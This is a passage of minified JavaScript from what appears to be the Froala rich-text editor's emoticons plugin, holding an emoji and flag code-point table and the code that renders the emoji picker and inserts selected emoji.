Symbol"},{code:"1F6B7",desc:"No Pedestrians"},{code:"1F4F5",desc:"No Mobile Phones"},{code:"1F51E",desc:"No One Under Eighteen Symbol"},{code:"2B06",desc:"Upwards Black Arrow"},{code:"2197",desc:"North East Arrow"},{code:"27A1",desc:"Black Rightwards Arrow"},{code:"2198",desc:"South East Arrow"},{code:"2B07",desc:"Downwards Black Arrow"},{code:"2199",desc:"South West Arrow"},{code:"2B05",desc:"Leftwards Black Arrow"},{code:"2196",desc:"North West Arrow"},{code:"2195",desc:"Up Down Arrow"},{code:"2194",desc:"Left Right Arrow"},{code:"21A9",desc:"Leftwards Arrow with Hook"},{code:"21AA",desc:"Rightwards Arrow with Hook"},{code:"2934",desc:"Arrow Pointing Rightwards Then Curving Upwards"},{code:"2935",desc:"Arrow Pointing Rightwards Then Curving Downwards"},{code:"1F503",desc:"Clockwise Downwards and Upwards Open Circle Arrows"},{code:"1F504",desc:"Anticlockwise Downwards and Upwards Open Circle Arrows"},{code:"1F519",desc:"Back with Leftwards Arrow Above"},{code:"1F51A",desc:"End with Leftwards Arrow Above"},{code:"1F51B",desc:"On with Exclamation Mark with Left Right Arrow Above"},{code:"1F51C",desc:"Soon with Rightwards Arrow Above"},{code:"1F51D",desc:"Top with Upwards Arrow Above"},{code:"1F52F",desc:"Six Pointed Star with Middle Dot"},{code:"2648",desc:"Aries"},{code:"2649",desc:"Taurus"},{code:"264A",desc:"Gemini"},{code:"264B",desc:"Cancer"},{code:"264C",desc:"Leo"},{code:"264D",desc:"Virgo"},{code:"264E",desc:"Libra"},{code:"264F",desc:"Scorpius"},{code:"2650",desc:"Sagittarius"},{code:"2651",desc:"Capricorn"},{code:"2652",desc:"Aquarius"},{code:"2653",desc:"Pisces"},{code:"26CE",desc:"Ophiuchus"},{code:"1F500",desc:"Twisted Rightwards Arrows"},{code:"1F501",desc:"Clockwise Rightwards and Leftwards Open Circle Arrows"},{code:"1F502",desc:"Clockwise Rightwards and Leftwards Open Circle Arrows with Circled One Overlay"},{code:"25B6",desc:"Black Right-Pointing Triangle"},{code:"23E9",desc:"Black Right-Pointing Double Triangle"},{code:"25C0",desc:"Black Left-Pointing Triangle"},{code:"23EA",desc:"Black Left-Pointing Double Triangle"},{code:"1F53C",desc:"Up-Pointing Small Red Triangle"},{code:"23EB",desc:"Black Up-Pointing Double Triangle"},{code:"1F53D",desc:"Down-Pointing Small Red Triangle"},{code:"23EC",desc:"Black Down-Pointing Double Triangle"},{code:"1F3A6",desc:"Cinema"},{code:"1F505",desc:"Low Brightness Symbol"},{code:"1F506",desc:"High Brightness Symbol"},{code:"1F4F6",desc:"Antenna with Bars"},{code:"1F4F3",desc:"Vibration Mode"},{code:"1F4F4",desc:"Mobile Phone off"},{code:"267B",desc:"Black Universal Recycling Symbol"},{code:"1F531",desc:"Trident Emblem"},{code:"1F4DB",desc:"Name Badge"},{code:"1F530",desc:"Japanese Symbol for Beginner"},{code:"2B55",desc:"Heavy Large Circle"},{code:"2705",desc:"White Heavy Check Mark"},{code:"2611",desc:"Ballot Box with Check"},{code:"2714",desc:"Heavy Check Mark"},{code:"2716",desc:"Heavy Multiplication X"},{code:"274C",desc:"Cross Mark"},{code:"274E",desc:"Negative Squared Cross Mark"},{code:"2795",desc:"Heavy Plus Sign"},{code:"2796",desc:"Heavy Minus Sign"},{code:"2797",desc:"Heavy Division Sign"},{code:"27B0",desc:"Curly Loop"},{code:"27BF",desc:"Double Curly Loop"},{code:"303D",desc:"Part Alternation Mark"},{code:"2733",desc:"Eight Spoked Asterisk"},{code:"2734",desc:"Eight Pointed Black Star"},{code:"2747",desc:"Sparkle"},{code:"203C",desc:"Double Exclamation Mark"},{code:"2049",desc:"Exclamation Question Mark"},{code:"2753",desc:"Black Question Mark Ornament"},{code:"2754",desc:"White Question Mark Ornament"},{code:"2755",desc:"White Exclamation Mark Ornament"},{code:"2757",desc:"Heavy Exclamation Mark Symbol"},{code:"3030",desc:"Wavy Dash"},{code:"2122",desc:"Trade Mark Sign"},{code:"1F51F",desc:"Keycap Ten"},{code:"1F4AF",desc:"Hundred Points Symbol"},{code:"1F520",desc:"Input Symbol for Latin Capital Letters"},{code:"1F521",desc:"Input Symbol for Latin Small Letters"},{code:"1F522",desc:"Input Symbol for Numbers"},{code:"1F523",desc:"Input Symbol for Symbols"},{code:"1F524",desc:"Input Symbol for Latin Letters"},{code:"1F170",desc:"Negative Squared Latin Capital Letter a"},{code:"1F18E",desc:"Negative Squared Ab"},{code:"1F171",desc:"Negative Squared Latin Capital Letter B"},{code:"1F191",desc:"Squared Cl"},{code:"1F192",desc:"Squared Cool"},{code:"1F193",desc:"Squared Free"},{code:"2139",desc:"Information Source"},{code:"1F194",desc:"Squared Id"},{code:"24C2",desc:"Circled Latin Capital Letter M"},{code:"1F195",desc:"Squared New"},{code:"1F196",desc:"Squared Ng"},{code:"1F17E",desc:"Negative Squared Latin Capital Letter O"},{code:"1F197",desc:"Squared Ok"},{code:"1F17F",desc:"Negative Squared Latin Capital Letter P"},{code:"1F198",desc:"Squared Sos"},{code:"1F199",desc:"Squared Up with Exclamation Mark"},{code:"1F19A",desc:"Squared Vs"},{code:"1F201",desc:"Squared Katakana Koko"},{code:"1F202",desc:"Squared Katakana Sa"},{code:"1F237",desc:"Squared Cjk Unified Ideograph-6708"},{code:"1F236",desc:"Squared Cjk Unified Ideograph-6709"},{code:"1F22F",desc:"Squared Cjk Unified Ideograph-6307"},{code:"1F250",desc:"Circled Ideograph Advantage"},{code:"1F239",desc:"Squared Cjk Unified Ideograph-5272"},{code:"1F21A",desc:"Squared Cjk Unified Ideograph-7121"},{code:"1F232",desc:"Squared Cjk Unified Ideograph-7981"},{code:"1F251",desc:"Circled Ideograph Accept"},{code:"1F238",desc:"Squared Cjk Unified Ideograph-7533"},{code:"1F234",desc:"Squared Cjk Unified Ideograph-5408"},{code:"1F233",desc:"Squared Cjk Unified Ideograph-7a7a"},{code:"3297",desc:"Circled Ideograph Congratulation"},{code:"3299",desc:"Circled Ideograph Secret"},{code:"1F23A",desc:"Squared Cjk Unified Ideograph-55b6"},{code:"1F235",desc:"Squared Cjk Unified Ideograph-6e80"},{code:"25AA",desc:"Black Small Square"},{code:"25AB",desc:"White Small Square"},{code:"25FB",desc:"White Medium Square"},{code:"25FC",desc:"Black Medium Square"},{code:"25FD",desc:"White Medium Small Square"},{code:"25FE",desc:"Black Medium Small Square"},{code:"2B1B",desc:"Black Large Square"},{code:"2B1C",desc:"White Large Square"},{code:"1F536",desc:"Large Orange Diamond"},{code:"1F537",desc:"Large Blue Diamond"},{code:"1F538",desc:"Small Orange Diamond"},{code:"1F539",desc:"Small Blue Diamond"},{code:"1F53A",desc:"Up-Pointing Red Triangle"},{code:"1F53B",desc:"Down-Pointing Red Triangle"},{code:"1F4A0",desc:"Diamond Shape with a Dot Inside"},{code:"1F518",desc:"Radio Button"},{code:"1F532",desc:"Black Square Button"},{code:"1F533",desc:"White Square Button"},{code:"26AA",desc:"Medium White Circle"},{code:"26AB",desc:"Medium Black Circle"},{code:"1F534",desc:"Large Red Circle"},{code:"1F535",desc:"Large Blue Circle"}]},{id:"flags",name:"Flags",code:"1F3C1",emoticons:[{code:"1f3c1",desc:"Chequered Flag"},{code:"1f1e8-1f1f3",desc:"China Flag"},{code:"1f38c",desc:"Crossed Flags"},{code:"1f1e9-1f1ea",desc:"Germany Flag"},{code:"1f1ea-1f1f8",desc:"Spain Flag"},{code:"1f1e6-1f1e8",desc:"Ascension Island Flag"},{code:"1f1e6-1f1e9",desc:"Andorra Flag"},{code:"1f1e6-1f1ea",desc:"United Arab Emirates Flag"},{code:"1f1e6-1f1eb",desc:"Afghanistan Flag"},{code:"1f1e6-1f1ec",desc:"Antigua & Barbuda Flag"},{code:"1f1e6-1f1ee",desc:"Anguilla Flag"},{code:"1f1e6-1f1f1",desc:"Albania Flag"},{code:"1f1e6-1f1f2",desc:"Armenia Flag"},{code:"1f1e6-1f1f4",desc:"Angola Flag"},{code:"1f1e6-1f1f6",desc:"Antarctica Flag"},{code:"1f1e6-1f1f7",desc:"Argentina Flag"},{code:"1f1e6-1f1f8",desc:"American Samoa Flag"},{code:"1f1e6-1f1f9",desc:"Austria Flag"},{code:"1f1e6-1f1fa",desc:"Australia Flag"},{code:"1f1e6-1f1fc",desc:"Aruba Flag"},{code:"1f1e6-1f1fd",desc:"\xc5land Islands Flag"},{code:"1f1e6-1f1ff",desc:"Azerbaijan Flag"},{code:"1f1e7-1f1e7",desc:"Barbados Flag"},{code:"1f1e7-1f1e9",desc:"Bangladesh Flag"},{code:"1f1e7-1f1ea",desc:"Belgium Flag"},{code:"1f1e7-1f1eb",desc:"Burkina Faso Flag"},{code:"1f1e7-1f1ec",desc:"Bulgaria Flag"},{code:"1f1e7-1f1ed",desc:"Bahrain Flag"},{code:"1f1e7-1f1ee",desc:"Burundi Flag"},{code:"1f1e7-1f1ef",desc:"Benin Flag"},{code:"1f1e7-1f1f1",desc:"St. Barth\xe9lemy Flag"},{code:"1f1e7-1f1f2",desc:"Bermuda Flag"},{code:"1f1e7-1f1f4",desc:"Bolivia Flag"},{code:"1f1e7-1f1f6",desc:"Caribbean Netherlands Flag"},{code:"1f1e7-1f1f7",desc:"Brazil Flag"},{code:"1f1e7-1f1f8",desc:"Bahamas Flag"},{code:"1f1e7-1f1f9",desc:"Bhutan Flag"},{code:"1f1e7-1f1fb",desc:"Bouvet Island Flag"},{code:"1f1e7-1f1fc",desc:"Botswana Flag"},{code:"1f1e7-1f1fe",desc:"Belarus Flag"},{code:"1f1e7-1f1ff",desc:"Belize Flag"},{code:"1f1e8-1f1e6",desc:"Canada Flag"},{code:"1f1e8-1f1e8",desc:"Cocos (keeling) Islands Flag"},{code:"1f1e8-1f1e9",desc:"Congo - Kinshasa Flag"},{code:"1f1e8-1f1eb",desc:"Central African Republic Flag"},{code:"1f1e8-1f1ec",desc:"Congo - Brazzaville Flag"},{code:"1f1e8-1f1ed",desc:"Switzerland Flag"},{code:"1f1e8-1f1ee",desc:"C\xf4te D\u2019ivoire Flag"},{code:"1f1e8-1f1f0",desc:"Cook Islands Flag"},{code:"1f1e8-1f1f1",desc:"Chile Flag"},{code:"1f1e8-1f1f2",desc:"Cameroon Flag"},{code:"1f1e8-1f1f4",desc:"Colombia Flag"},{code:"1f1e8-1f1f7",desc:"Costa Rica Flag"},{code:"1f1e8-1f1fa",desc:"Cuba Flag"},{code:"1f1e8-1f1fb",desc:"Cape Verde Flag"},{code:"1f1e8-1f1fc",desc:"Cura\xe7ao Flag"},{code:"1f1e8-1f1fd",desc:"Christmas Island Flag"},{code:"1f1e8-1f1fe",desc:"Cyprus Flag"},{code:"1f1e8-1f1ff",desc:'Czechia Flag"'},{code:"1f1e9-1f1ec",desc:"Diego Garcia Flag"},{code:"1f1e9-1f1ef",desc:"Djibouti Flag"},{code:"1f1e9-1f1f0",desc:"Denmark Flag"},{code:"1f1e9-1f1f2",desc:"Dominica Flag"},{code:"1f1e9-1f1f4",desc:"Dominican Republic Flag"},{code:"1f1e9-1f1ff",desc:"Algeria Flag"},{code:"1f1ea-1f1e6",desc:"Ceuta & Melilla Flag"},{code:"1f1ea-1f1e8",desc:"Ecuador Flag"},{code:"1f1ea-1f1ea",desc:"Estonia Flag"},{code:"1f1ea-1f1ec",desc:"Egypt Flag"},{code:"1f1ea-1f1ed",desc:"Western Sahara Flag"},{code:"1f1ea-1f1f7",desc:"Eritrea Flag"},{code:"1f1ea-1f1f9",desc:"Ethiopia Flag"},{code:"1f1ea-1f1fa",desc:"European Union Flag"},{code:"1f1eb-1f1ee",desc:"Finland Flag"},{code:"1f1eb-1f1ef",desc:"Fiji Flag"},{code:"1f1eb-1f1f0",desc:"Falkland Islands Flag"},{code:"1f1eb-1f1f2",desc:"Micronesia Flag"},{code:"1f1eb-1f1f4",desc:"Faroe Islands Flag"},{code:"1f1ec-1f1e6",desc:"Gabon Flag"},{code:"1f1ec-1f1e9",desc:"Grenada Flag"},{code:"1f1ec-1f1ea",desc:"Georgia Flag"},{code:"1f1ec-1f1eb",desc:"French Guiana Flag"},{code:"1f1ec-1f1ec",desc:"Guernsey Flag"},{code:"1f1ec-1f1ed",desc:"Ghana Flag"},{code:"1f1ec-1f1ee",desc:"Gibraltar Flag"},{code:"1f1ec-1f1f1",desc:"Greenland Flag"},{code:"1f1ec-1f1f2",desc:"Gambia Flag"},{code:"1f1ec-1f1f3",desc:"Guinea Flag"},{code:"1f1ec-1f1f5",desc:"Guadeloupe Flag"},{code:"1f1ec-1f1f6",desc:"Equatorial Guinea Flag"},{code:"1f1ec-1f1f7",desc:"Greece Flag"},{code:"1f1ec-1f1f8",desc:"South Georgia & South Sandwich Islands Flag"},{code:"1f1ec-1f1f9",desc:"Guatemala Flag"},{code:"1f1ec-1f1fa",desc:"Guam Flag"},{code:"1f1ec-1f1fc",desc:"Guinea-Bissau Flag"},{code:"1f1ec-1f1fe",desc:"Guyana Flag"},{code:"1f1ed-1f1f0",desc:"Hong Kong Sar China Flag"},{code:"1f1ed-1f1f2",desc:"Heard & Mcdonald Islands Flag"},{code:"1f1ed-1f1f3",desc:"Honduras Flag"},{code:"1f1ed-1f1f7",desc:"Croatia Flag"},{code:"1f1ed-1f1f9",desc:"Haiti Flag"},{code:"1f1ed-1f1fa",desc:"Hungary Flag"},{code:"1f1ee-1f1e8",desc:"Canary Islands Flag"},{code:"1f1ee-1f1e9",desc:"Indonesia Flag"},{code:"1f1ee-1f1ea",desc:"Ireland Flag"},{code:"1f1ee-1f1f1",desc:"Israel Flag"},{code:"1f1ee-1f1f2",desc:"Isle of Man Flag"},{code:"1f1ee-1f1f3",desc:"India Flag"},{code:"1f1ee-1f1f4",desc:"British Indian Ocean Territory Flag"},{code:"1f1ee-1f1f6",desc:"Iraq Flag"},{code:"1f1ee-1f1f7",desc:"Iran Flag"},{code:"1f1ee-1f1f8",desc:"Iceland Flag"},{code:"1f1ef-1f1ea",desc:"Jersey Flag"},{code:"1f1ef-1f1f2",desc:"Jamaica Flag"},{code:"1f1ef-1f1f4",desc:"Jordan Flag"},{code:"1f1f0-1f1ea",desc:"Kenya Flag"},{code:"1f1f0-1f1ec",desc:"Kyrgyzstan Flag"},{code:"1f1f0-1f1ed",desc:"Cambodia Flag"},{code:"1f1f0-1f1ee",desc:"Kiribati Flag"},{code:"1f1f0-1f1f2",desc:"Comoros Flag"},{code:"1f1f0-1f1f3",desc:"St. Kitts & Nevis Flag"},{code:"1f1f0-1f1f5",desc:"North Korea Flag"},{code:"1f1f0-1f1fc",desc:"Kuwait Flag"},{code:"1f1f0-1f1fe",desc:"Cayman Islands Flag"},{code:"1f1f0-1f1ff",desc:"Kazakhstan Flag"},{code:"1f1f1-1f1e6",desc:"Laos Flag"},{code:"1f1f1-1f1e7",desc:"Lebanon Flag"},{code:"1f1f1-1f1e8",desc:"St. Lucia Flag"},{code:"1f1f1-1f1ee",desc:"Liechtenstein Flag"},{code:"1f1f1-1f1f0",desc:"Sri Lanka Flag"},{code:"1f1f1-1f1f7",desc:"Liberia Flag"},{code:"1f1f1-1f1f8",desc:"Lesotho Flag"},{code:"1f1f1-1f1f9",desc:"Lithuania Flag"},{code:"1f1f1-1f1fa",desc:"Luxembourg Flag"},{code:"1f1f1-1f1fb",desc:"Latvia Flag"},{code:"1f1f1-1f1fe",desc:"Libya Flag"},{code:"1f1f2-1f1e6",desc:"Morocco Flag"},{code:"1f1f2-1f1e8",desc:"Monaco Flag"},{code:"1f1f2-1f1e9",desc:"Moldova Flag"},{code:"1f1f2-1f1ea",desc:"Montenegro Flag"},{code:"1f1f2-1f1eb",desc:"St. Martin Flag"},{code:"1f1f2-1f1ec",desc:"Madagascar Flag"},{code:"1f1f2-1f1ed",desc:"Marshall Islands Flag"},{code:"1f1f2-1f1f0",desc:"Macedonia Flag"},{code:"1f1f2-1f1f1",desc:"Mali Flag"},{code:"1f1f2-1f1f2",desc:"Myanmar (burma) Flag"},{code:"1f1f2-1f1f3",desc:"Mongolia Flag"},{code:"1f1f2-1f1f4",desc:"Macau Sar China Flag"},{code:"1f1f2-1f1f5",desc:"Northern Mariana Islands Flag"},{code:"1f1f2-1f1f6",desc:"Martinique Flag"},{code:"1f1f2-1f1f7",desc:"Mauritania Flag"},{code:"1f1f2-1f1f8",desc:"Montserrat Flag"},{code:"1f1f2-1f1f9",desc:"Malta Flag"},{code:"1f1f2-1f1fa",desc:"Mauritius Flag"},{code:"1f1f2-1f1fb",desc:"Maldives Flag"},{code:"1f1f2-1f1fc",desc:"Malawi Flag"},{code:"1f1f2-1f1fd",desc:"Mexico Flag"},{code:"1f1f2-1f1fe",desc:"Malaysia Flag"},{code:"1f1f2-1f1ff",desc:"Mozambique Flag"},{code:"1f1f3-1f1e6",desc:"Namibia Flag"},{code:"1f1f3-1f1e8",desc:"New Caledonia Flag"},{code:"1f1f3-1f1ea",desc:"Niger Flag"},{code:"1f1f3-1f1eb",desc:"Norfolk Island Flag"},{code:"1f1f3-1f1ec",desc:"Nigeria Flag"},{code:"1f1f3-1f1ee",desc:"Nicaragua Flag"},{code:"1f1f3-1f1f1",desc:"Netherlands Flag"},{code:"1f1f3-1f1f4",desc:"Norway Flag"},{code:"1f1f3-1f1f5",desc:"Nepal Flag"},{code:"1f1f3-1f1f7",desc:"Nauru Flag"},{code:"1f1f3-1f1fa",desc:"Niue Flag"},{code:"1f1f3-1f1ff",desc:"New Zealand Flag"},{code:"1f1f4-1f1f2",desc:"Oman Flag"},{code:"1f1f8-1f1ff",desc:"Swaziland Flag"},{code:"1f1f5-1f1e6",desc:"Panama Flag"},{code:"1f1f5-1f1ea",desc:"Peru Flag"},{code:"1f1f5-1f1eb",desc:"French Polynesia Flag"},{code:"1f1f5-1f1ec",desc:"Papua New Guinea Flag"},{code:"1f1f5-1f1ed",desc:"Philippines Flag"},{code:"1f1f5-1f1f0",desc:"Pakistan Flag"},{code:"1f1f5-1f1f1",desc:"Poland Flag"},{code:"1f1f5-1f1f2",desc:"St. Pierre & Miquelon Flag"},{code:"1f1f5-1f1f3",desc:"Pitcairn Islands Flag"},{code:"1f1f5-1f1f7",desc:"Puerto Rico Flag"},{code:"1f1f5-1f1f8",desc:"Palestinian Territories Flag"},{code:"1f1f5-1f1f9",desc:"Portugal Flag"},{code:"1f1f5-1f1fc",desc:"Palau Flag"},{code:"1f1f5-1f1fe",desc:"Paraguay Flag"},{code:"1f1f6-1f1e6",desc:"Qatar Flag"},{code:"1f1f7-1f1ea",desc:"R\xe9union Flag"},{code:"1f1f7-1f1f4",desc:"Romania Flag"},{code:"1f1f7-1f1f8",desc:"Serbia Flag"},{code:"1f1f7-1f1fc",desc:"Rwanda Flag"},{code:"1f1f8-1f1e6",desc:"Saudi Arabia Flag"},{code:"1f1f8-1f1e7",desc:"Solomon Islands Flag"},{code:"1f1f8-1f1e8",desc:"Seychelles Flag"},{code:"1f1f8-1f1e9",desc:"Sudan Flag"},{code:"1f1f8-1f1ea",desc:"Sweden Flag"},{code:"1f1f8-1f1ec",desc:"Singapore Flag"},{code:"1f1f8-1f1ee",desc:"Slovenia Flag"},{code:"1f1f8-1f1ed",desc:"St. Helena Flag"},{code:"1f1f8-1f1ef",desc:"Svalbard & Jan Mayen Flag"},{code:"1f1f8-1f1f1",desc:"Sierra Leone Flag"},{code:"1f1f8-1f1f2",desc:"San Marino Flag"},{code:"1f1f8-1f1f3",desc:"Senegal Flag"},{code:"1f1f8-1f1f4",desc:"Somalia Flag"},{code:"1f1f8-1f1f7",desc:"Suriname Flag"},{code:"1f1f8-1f1f8",desc:"South Sudan Flag"},{code:"1f1f8-1f1f9",desc:"S\xe3o Tom\xe9 & Pr\xedncipe Flag"},{code:"1f1f8-1f1fb",desc:"El Salvador Flag"},{code:"1f1f8-1f1fd",desc:"Sint Maarten Flag"},{code:"1f1f8-1f1fe",desc:"Syria Flag"},{code:"1f1f9-1f1e6",desc:"Tristan Da Cunha Flag"},{code:"1f1f9-1f1e8",desc:"Turks & Caicos Islands Flag"},{code:"1f1f9-1f1eb",desc:"French Southern Territories Flag"},{code:"1f1f9-1f1ec",desc:"Togo Flag"},{code:"1f1f9-1f1ed",desc:"Thailand Flag"},{code:"1f1f9-1f1ef",desc:"Tajikistan Flag"},{code:"1f1f9-1f1f0",desc:"Tokelau Flag"},{code:"1f1f9-1f1f1",desc:"Timor-Leste Flag"},{code:"1f1f9-1f1f2",desc:"Turkmenistan Flag"},{code:"1f1f9-1f1f3",desc:"Tunisia Flag"},{code:"1f1f9-1f1f4",desc:"Tonga Flag"},{code:"1f1f9-1f1f7",desc:"Turkey Flag"},{code:"1f1f9-1f1f9",desc:"Trinidad & Tobago Flag"},{code:"1f1f9-1f1fb",desc:"Tuvalu Flag"},{code:"1f1f9-1f1fc",desc:"Taiwan Flag"},{code:"1f1f9-1f1ff",desc:"Tanzania Flag"},{code:"1f1fa-1f1e6",desc:"Ukraine City Flag"},{code:"1f1fa-1f1ec",desc:"Uganda Flag"},{code:"1f1fa-1f1f2",desc:"U.s. Outlying Islands Flag"},{code:"1f1fa-1f1fe",desc:"Uruguay Flag"},{code:"1f1fa-1f1ff",desc:"Uzbekistan Flag"},{code:"1f1fb-1f1e6",desc:"Vatican City Flag"},{code:"1f1fb-1f1e8",desc:"St. Vincent & Grenadines Flag"},{code:"1f1fb-1f1ea",desc:"Venezuela Flag"},{code:"1f1fb-1f1ec",desc:"British Virgin Islands Flag"},{code:"1f1fb-1f1ee",desc:"U.s. Virgin Islands Flag"},{code:"1f1fb-1f1f3",desc:"Vietnam Flag"},{code:"1f1fc-1f1f8",desc:"Samoa Flag"},{code:"1f1fb-1f1fa",desc:"Vanuatu Flag"},{code:"1f1fc-1f1eb",desc:'"Wallis & Futuna Flag'},{code:"1f1fd-1f1f0",desc:"Kosovo Flag"},{code:"1f1fe-1f1ea",desc:"Yemen Flag"},{code:"1f1fe-1f1f9",desc:"Mayotte Flag"},{code:"1f1ff-1f1e6",desc:"South Africa Flag"},{code:"1f1ff-1f1f2",desc:"Zambia Flag"},{code:"1f1ff-1f1fc",desc:"Zimbabwe Flag"},{code:"1f1eb-1f1f7",desc:"France Flag"},{code:"1f1ec-1f1e7",desc:"United Kingdom Flag"},{code:"1f1ee-1f1f9",desc:"Italy Flag"},{code:"1f1ef-1f1f5",desc:"Japan Flag"},{code:"1f1f0-1f1f7",desc:"South Korea Flag"},{code:"1f1f7-1f1fa",desc:"Russia Flag"},{code:"1F6A9",desc:"Triangular Flag on Post"},{code:"1f1fa-1f1f8",desc:"United States Flag"}]}],emoticonsButtons:["emoticonsBack","|"],emoticonsUseImage:!0}),B.PLUGINS.emoticons=function(p){var b=p.$,a=p.opts.emoticonsSet,s=a&&a[0],f="";function i(){if(!p.selection.isCollapsed())return!1;var e=p.selection.element(),c=p.selection.endElement();if(e&&p.node.hasClass(e,"fr-emoticon"))return e;if(c&&p.node.hasClass(c,"fr-emoticon"))return c;var d=p.selection.ranges(0),o=d.startContainer;if(o.nodeType==Node.ELEMENT_NODE&&0<o.childNodes.length&&0<d.startOffset){var a=o.childNodes[d.startOffset-1];if(p.node.hasClass(a,"fr-emoticon"))return a}return!1}function n(){return"".concat(function o(e,c){return'<div class="fr-buttons fr-tabs fr-tabs-scroll">\n '.concat(function d(e,o){var a="";return e.forEach(function(e){var c={image:e.code.toLowerCase()},d={elementClass:e.id===o.id?"fr-active fr-active-tab":"",emoticonsUnicodeClass:p.opts.emoticonsUseImage?"":"fr-tabs-unicode",title:p.language.translate(e.name),dataCmd:"setEmoticonCategory",dataParam1:e.id,image:p.opts.emoticonsUseImage?'<img src="https://cdnjs.cloudflare.com/ajax/libs/emojione/2.0.1/assets/svg/'.concat(c.image,'.svg"/>'):"&#x".concat(c.image,";")};a+='<button class="fr-command fr-btn '.concat(d.elementClass," ").concat(d.emoticonsUnicodeClass,'" \n title="').concat(d.title,'" data-cmd="').concat(d.dataCmd,'" data-param1="').concat(d.dataParam1,'">\n ').concat(d.image," </button>")}),a}(e,c),"\n </div>")}(a,s),"\n ").concat(function d(e){return'\n <div class="fr-icon-container fr-emoticon-container">\n '.concat(function c(e){var a="";return e.emoticons.forEach(function(e){var c=e.code.split("-").reduce(function(e,c){return e?"".concat(e,"‍&#x").concat(c.toLowerCase(),";"):"&#x".concat(c.toLowerCase(),";")},""),d={image:e.code.toLowerCase(),compiledCode:e.uCode?e.uCode:c},o={dataParam1:e.code.toLowerCase(),dataParam2:d.compiledCode,title:p.language.translate(e.desc),image:p.opts.emoticonsUseImage?'<img src="https://cdnjs.cloudflare.com/ajax/libs/emojione/2.0.1/assets/svg/'.concat(d.image,'.svg"/>'):"".concat(d.compiledCode),desc:p.language.translate(e.desc)};a+='<span class="fr-command fr-emoticon fr-icon" role="button" \n data-cmd="insertEmoticon" data-param1="'.concat(o.dataParam1,'" tabindex="0"\n data-param2="').concat(o.dataParam2,'" title="').concat(o.title,'" >\n ').concat(o.image,'<span class="fr-sr-only">').concat(o.desc," </span></span>")}),a}(e),"\n </div>\n ")}(s),"\n ").concat(function e(){return p.opts.emoticonsUseImage?'<p style="font-size: 12px; text-align: center; padding: 0 5px;">Emoji free by <a class="fr-link" tabIndex="-1" href="http://emojione.com/" target="_blank" rel="nofollow noopener noreferrer" role="link" aria-label="Open Emoji One website.">Emoji One</a></p>':""}())}return{_init:function e(){var d=function d(){for(var e=p.el.querySelectorAll(".fr-emoticon:not(.fr-deletable)"),c=0;c<e.length;c++)e[c].className+=" fr-deletable"};d(),p.events.on("html.set",d),p.events.on("keydown",function(e){if(p.keys.isCharacter(e.which)&&p.selection.inEditor()){var c=p.selection.ranges(0),d=i();p.node.hasClass(d,"fr-emoticon-img")&&d&&(0===c.startOffset&&p.selection.element()===d?b(d).before(B.MARKERS+B.INVISIBLE_SPACE):b(d).after(B.INVISIBLE_SPACE+B.MARKERS),p.selection.restore())}}),p.events.on("keyup",function(e){for(var c=p.el.querySelectorAll(".fr-emoticon"),d=0;d<c.length;d++)"undefined"!=typeof c[d].textContent&&0===c[d].textContent.replace(/\u200B/gi,"").length&&b(c[d]).remove();if(!(e.which>=B.KEYCODE.ARROW_LEFT&&e.which<=B.KEYCODE.ARROW_DOWN)){var o=i();p.node.hasClass(o,"fr-emoticon-img")&&(b(o).append(B.MARKERS),p.selection.restore())}})},insert:function t(e,c){var d=i(),o=p.selection.ranges(0);d?(0===o.startOffset&&p.selection.element()===d?b(d).before(B.MARKERS+B.INVISIBLE_SPACE):0<o.startOffset&&p.selection.element()===d&&o.commonAncestorContainer.parentNode.classList.contains("fr-emoticon")&&b(d).after(B.INVISIBLE_SPACE+B.MARKERS),p.selection.restore(),p.html.insert('<span class="fr-emoticon fr-deletable'.concat(c?" fr-emoticon-img":"",'"').concat(c?' style="background: url('.concat(c,');"'):"",">").concat(c?" ":e,"</span> ").concat(B.MARKERS),!0)):p.html.insert('<span class="fr-emoticon fr-deletable'.concat(c?" fr-emoticon-img":"",'"').concat(c?' style="background: url('.concat(c,');"'):"",">").concat(c?" ":e,"</span>").concat(B.INVISIBLE_SPACE),!0)},setEmoticonCategory:function o(c){s=a.filter(function(e){return e.id===c})[0],function d(){p.popups.get("emoticons").html(f+n());var e=p.popups.get("emoticons").children().not(".fr-buttons");p.accessibility.registerPopup("emoticons"),p.accessibility.focusContent(e)}()},showEmoticonsPopup:function l(){var e=p.popups.get("emoticons");if(e||(e=function s(){p.opts.toolbarInline&&0<p.opts.emoticonsButtons.length&&(f='<div class="fr-buttons fr-emoticons-buttons fr-tabs">'.concat(p.button.buildList(p.opts.emoticonsButtons),"</div>"));var e={buttons:f,custom_layer:n()},c=p.popups.create("emoticons",e);return function d(S){p.events.on("popup.tab",function(e){var c=b(e.currentTarget);if(!p.popups.isVisible("emoticons")||!c.is("span, a"))return!0;var d,o,a,s=e.which,f=window.getComputedStyle(S.find(".fr-icon-container")[0]),i=f.getPropertyValue("grid-template-columns").split(" ").length;if(B.KEYCODE.TAB==s){var n=S.find("span.fr-emoticon");if(c.is(n.first())&&e.shiftKey||c.is("a")&&!e.shiftKey){var t=S.find(".fr-buttons");d=!p.accessibility.focusToolbar(t,!!e.shiftKey)}if(!1!==d){var l=S.find("span.fr-emoticon");l.add(S.find("a.fr-link")),l.add(S.find("button.fr-btn")),o=l.index(c),o=e.shiftKey?((o-1)%l.length+l.length)%l.length:(o+1)%l.length,a=l.get(o),p.events.disableBlur(),a.focus(),d=!1}}else if(B.KEYCODE.ARROW_UP==s||B.KEYCODE.ARROW_DOWN==s||B.KEYCODE.ARROW_LEFT==s||B.KEYCODE.ARROW_RIGHT==s){if(c.is("span.fr-emoticon")){var r=c.parent().find("span.fr-emoticon");o=r.index(c);var F=i,g=Math.ceil(r.length/F),u=o%F,h=Math.floor(o/F),m=h*F+u,C=g*F;B.KEYCODE.ARROW_UP==s?m=((m-F)%C+C)%C:B.KEYCODE.ARROW_DOWN==s?m=(m+F)%C:B.KEYCODE.ARROW_LEFT==s?m=((m-1)%C+C)%C:B.KEYCODE.ARROW_RIGHT==s&&(m=(m+1)%C),a=b(r.get(m)),p.events.disableBlur(),a.focus(),d=!1}}else B.KEYCODE.ENTER==s&&(c.is("a")?c[0].click():p.button.exec(c),d=!1);return!1===d&&(e.preventDefault(),e.stopPropagation()),d},!0)}(c),c}()),!e.hasClass("fr-active")){p.popups.refresh("emoticons"),p.popups.setContainer("emoticons",p.$tb);var c=p.$tb.find('.fr-command[data-cmd="emoticons"]'),d=p.button.getPosition(c),o=d.left,a=d.top;p.popups.show("emoticons",o,a,c.outerHeight()),p.popups.get("emoticons").css("overflow","hidden")}},back:function 